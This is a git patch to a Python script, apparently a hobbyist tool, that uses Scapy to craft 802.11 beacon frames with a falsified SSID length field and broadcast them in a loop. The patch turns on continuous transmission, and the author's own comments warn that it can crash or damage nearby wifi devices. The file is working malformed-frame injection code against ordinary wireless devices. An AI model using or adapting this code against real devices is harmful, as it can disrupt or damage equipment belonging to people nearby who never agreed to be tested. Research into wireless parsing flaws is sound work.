From f7d3343000797b40778b87a9a423bc6daca5361d Mon Sep 17 00:00:00 2001 From: PrincessPi3 Date: Sat, 9 Aug 2025 11:23:00 -0600 Subject: [PATCH] sum improvements into dumping the packet and dissecting it before sending --- h00th00t.py | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/h00th00t.py b/h00th00t.py index 4e74b2d..17ba0d6 100644 --- a/h00th00t.py +++ b/h00th00t.py @@ -23,8 +23,7 @@ def beacon_raw(SSID=b"PrincessPiNet", reported_length=13, interval_seconds=0.25) ssid_info = Dot11Elt(ID='SSID', info=RawVal(SSID), len=reported_length) # magic really happens here with Scapy's RawVal() function and the reported_length # assemble the frame - frame = RadioTap()/dot11/Dot11Beacon()/ssid_inf - # frame = raw(RadioTap()/dot11/Dot11Beacon()/ssid_info) # experimental + frame = RadioTap()/dot11/Dot11Beacon()/ssid_info # print info print(f"FIRIN MY LAZORRRRRR\n\tSSID: {SSID}\n\treported length: {reported_length}\n\tinterval seconds: {interval_seconds}\n\tsender bssid/mac: {sender_bssid_mac}\n") @@ -35,14 +34,14 @@ def beacon_raw(SSID=b"PrincessPiNet", reported_length=13, interval_seconds=0.25) # hexdump packet print("\n\nHexdump\n") - hexdump(frame) + hexdump(raw(frame)) # send it - # sendp(frame, iface=iface, inter=interval_seconds, loop=1) # send on loop + sendp(frame, iface=iface, inter=interval_seconds, loop=1) # send on loop # this can be most any value really experimentation is needed -ssid_binary = 0b0101 # a few random bits to send as the SSID +ssid_binary = 0b1 # a few random bits to send as the SSID # please be careful with this, it can crash or damage your local wifi devices -# beacon_raw(SSID=ssid_binary, reported_length=255) # send it! USE WITH EXTREME CARE -# beacon_raw() # send dummy normal beacon for testing +# beacon_raw(SSID=ssid_binary, reported_length=32) # send it! USE WITH EXTREME CARE +beacon_raw() # send dummy normal beacon for testing